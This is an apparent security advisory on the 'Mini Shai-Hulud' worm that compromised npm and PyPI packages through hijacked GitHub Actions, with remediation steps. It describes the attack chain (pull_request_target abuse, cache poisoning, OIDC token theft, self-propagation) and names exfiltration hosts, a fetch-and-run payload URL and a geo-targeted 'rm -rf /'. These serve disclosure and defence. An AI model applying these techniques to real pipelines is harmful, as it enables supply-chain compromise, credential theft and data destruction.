Mini Shai-Hulud, linked to the TeamPCP group, has become one of the most dangerous worms in the npm and PyPI ecosystems: it compromised TanStack, UiPath, Mistral AI, OpenSearch and Guardrails AI packages by publishing malicious versions through legitimate GitHub Actions with valid SLSA signatures and then automatically spreading to other packages owned by the same maintainer; developers and companies using these ecosystems must immediately review the versions in use, revoke npm/GitHub tokens and check their CI/CD infrastructure for signs of compromise.

Technical details of the Mini Shai-Hulud attack

The main attack vector in the TanStack ecosystem is a chain of attacks on GitHub Actions. According to the TanStack team, the attackers used three key elements: the pull_request_target trigger, GitHub Actions cache poisoning, and extracting an OIDC token from the runner process memory at runtime (TanStack postmortem; research on the GitHub Actions cache — Adnan Khan).

The subsequent steps of the attack on TanStack looked as follows:

• preparing a malicious payload in a fork of the project on GitHub;
• injecting malicious files into the tarballs of the npm packages being published;
• taking over the legitimate TanStack/router workflow via the stolen OIDC token and releasing compromised versions through the official release pipeline.

As a result, malicious versions of 42 packages (84 versions) were published in the TanStack ecosystem; the incident is tracked as CVE-2026-45321 with a CVSS score of 9.6, as reflected in the project’s advisory on GitHub (GitHub Security Advisory) and in the NVD database (NVD CVE-2026-45321).

The key component of the malicious code in the npm packages is the obfuscated JavaScript file router_init.js, which:

• profiles the execution environment (operating system, execution context, development tools);
• runs a multifunctional credential stealer targeting cloud providers, cryptocurrency wallets, AI tools, messengers and CI systems, including GitHub Actions;
• exfiltrates data to the filev2.getsession[.]org domain, which belongs to the decentralized Session messenger, reducing the likelihood of traffic being blocked in corporate networks;
• as a fallback channel, commits encrypted data to repositories controlled by the attackers via the GitHub GraphQL API using stolen GitHub tokens; the commit author is disguised as [email protected].

To achieve persistence on the system, the malware implants itself into the Claude Code and Visual Studio Code IDEs so that the credential stealer is launched every time the development environment starts. Additionally, it installs a gh-token-monitor service to monitor and re-exfiltrate GitHub tokens and adds two malicious GitHub Actions workflows that serialize repository secrets into JSON and send them to the api.masscan[.]cloud server.

A distinctive feature of the worm is its ability to self-propagate in the npm ecosystem. The malicious code:

• searches for a publish token for npm with the bypass_2fa=true flag;
• enumerates all packages published by the same maintainer;
• uses the stolen GitHub OIDC token to obtain individual publish tokens for each package, bypassing traditional authentication mechanisms.

The compromised npm packages are distributed with valid SLSA Build Level 3 attestations, meaning the attack has, for the first time, demonstrated the ability to ship malicious but formally “provably reproducible” builds via a trusted pipeline (StepSecurity analysis).

Expansion of the campaign beyond TanStack

The Mini Shai-Hulud worm went beyond TanStack and affected other projects and ecosystems, including PyPI. The following compromised packages and versions have been confirmed:

• [email protected] (PyPI)
• [email protected] (PyPI)
• @opensearch-project/opensearch: 3.5.3, 3.6.2, 3.7.0, 3.8.0
• @squawk/[email protected]
• @squawk/[email protected]
• @squawk/[email protected]
• @tallyui/connector-medusa: 1.0.1, 1.0.2, 1.0.3
• @tallyui/connector-vendure: 1.0.1, 1.0.2, 1.0.3

Microsoft’s analysis of the malicious [email protected] package shows that it downloads a credential stealer from the host 83.142.209[.]194 and contains logic dependent on the system’s country and language: the malware avoids Russian-language environments and has a “geographically limited destructive branch” with a 1-in-6 chance of executing rm -rf / when it determines that the system is located in Israel or Iran (Microsoft Threat Intelligence analysis).

The compromise of [email protected] is particularly dangerous because the malicious code is executed already on module import. According to Socket’s analysis (Socket breakdown), the package:

• checks that it is running on Linux;
• downloads an artifact from https://git-tanstack.com/transformers.pyz;
• writes it to /tmp/transformers.pyz and executes it using python3 without any integrity verification.

Threat context and specifics

At least three aspects make Mini Shai-Hulud a qualitatively new level of threat to the software supply chain:

1. A self-spreading worm in the npm ecosystem. The malware does not just compromise a single package once; it actively searches for and infects other packages owned by the same maintainer, exploiting specifics of npm token management and integration with GitHub OIDC.
2. Abuse of trusted mechanisms — SLSA and OIDC. Organizations that relied on SLSA Build Level 3 and “secretless” pipelines with OIDC as a trust guarantee have received a clear example that compromise of the runner and workflow can turn these mechanisms into a delivery channel for malicious code.
3. Heuristic evasion and non-trivial destructiveness. Using the Session infrastructure (getsession[.]org domain) reduces the likelihood of network blocking, while the geo-dependent logic in the mistralai variant creates a combined threat of espionage and targeted data destruction.

The attack demonstrates the attackers’ mature understanding of GitHub Actions internals and cache management, as previously described in detail in research on cache poisoning (GitHub Actions cache analysis), and shows that even “infrastructure” CI/CD code must be treated as a priority protection target.

Impact assessment

The following are most at risk:

• development teams that use TanStack and the packages listed above from npm/PyPI directly or transitively (via dependencies);
• organizations where GitHub Actions has broad permissions (write access to repositories, release management, issuance of OIDC tokens into cloud accounts);
• companies that actively use AI tools and libraries (Mistral, Guardrails, AI plugins) and CI/CD infrastructure based on GitHub Actions.

Potential consequences if no action is taken include:

• software supply chain compromise: releasing malicious versions of internal libraries and applications through legitimate build pipelines;
• secrets leakage (tokens, passwords, API keys) from GitHub, CI/CD and cloud environments via implanted workflows and the gh-token-monitor service;
• direct damage to infrastructure — from unauthorized access to repositories and cloud resources to potential wiping of the file system on specific target hosts;
• reputational and regulatory risks if customers or partners are affected through the compromised supply chains.

Given the nature of the worm and the critical CVSS score of 9.6 for CVE-2026-45321, the incident should be treated as a top-priority incident for all organizations that rely on GitHub Actions and public dependency registries.

Practical recommendations

1. Dependency inventory and cleanup

• Immediately check whether the following versions have been used in your projects:
  • all affected TanStack packages listed in advisory GHSA-g7cv-rxg3-hmpx;
  • guardrails-ai==0.10.1, mistralai==2.4.6 (PyPI);
  • @opensearch-project/opensearch versions 3.5.3, 3.6.2, 3.7.0, 3.8.0;
  • @squawk/[email protected], @squawk/[email protected], @squawk/[email protected];
  • @tallyui/connector-medusa and @tallyui/connector-vendure versions 1.0.1–1.0.3.
• Check lockfiles (package-lock.json, pnpm-lock.yaml, poetry.lock, requirements.txt) and CI build logs, not just the current dependency configuration.
• For any malicious versions found:
  • immediately update to fixed versions or roll back to known-good releases;
  • rebuild and redeploy affected applications.

2. Checking for signs of compromise

• In network and proxy logs, search for requests to:
  • filev2.getsession[.]org,
  • api.masscan[.]cloud,
  • 83.142.209[.]194,
  • git-tanstack.com/transformers.pyz.
• On the file systems of developer machines and CI runners:
  • presence of router_init.js outside the expected context;
  • traces of /tmp/transformers.pyz and executions of python3 /tmp/transformers.pyz in shell logs.
• In GitHub:
  • search for commits with the author [email protected]:
    git log --author="[email protected]";
  • audit the .github/workflows directory for recently added or modified workflows, especially those that serialize secrets and make network calls to external hosts;
  • check installed and updated extensions for VS Code and Claude Code that appeared at the same time as the use of compromised packages.

3. Managing npm/GitHub tokens and OIDC

• Revoke and reissue:
  • npm publish tokens, especially those with the bypass_2fa flag;
  • GitHub personal access tokens and secrets used in GitHub Actions;
  • roles and trust policies associated with GitHub OIDC tokens in cloud accounts.
• Limit use of the pull_request_target trigger only to cases where it is objectively necessary; consider migrating sensitive workflows to pull_request without elevated privileges.
• Strengthen permission policies for GitHub Actions:
  • apply the principle of least privilege for GITHUB_TOKEN and individual workflows;
  • disallow writes to the repository from workflows that handle external pull requests without additional validation.

4. Trust policy for SLSA and build artifacts

• Reevaluate internal policies that automatically trust packages with a “high level” SLSA or other provenance attestations: attestation of the build source does not remove the need to analyze content.
• Include in the pipeline:
  • static and dynamic analysis of dependencies;
  • checks for known IOCs and command-and-control domains;
  • separate security controls for artifacts coming from forked repositories or external contributors.

The key takeaway for development and security teams is that Mini Shai-Hulud has shown that trusted build pipelines, SLSA attestations and OIDC mechanisms alone are not enough — it is necessary to immediately audit dependencies for affected versions, revoke and reissue all npm/GitHub tokens associated with compromised projects and runners, and harden GitHub Actions configuration (restrict pull_request_target and workflow permissions) to close the propagation vectors demonstrated in this campaign.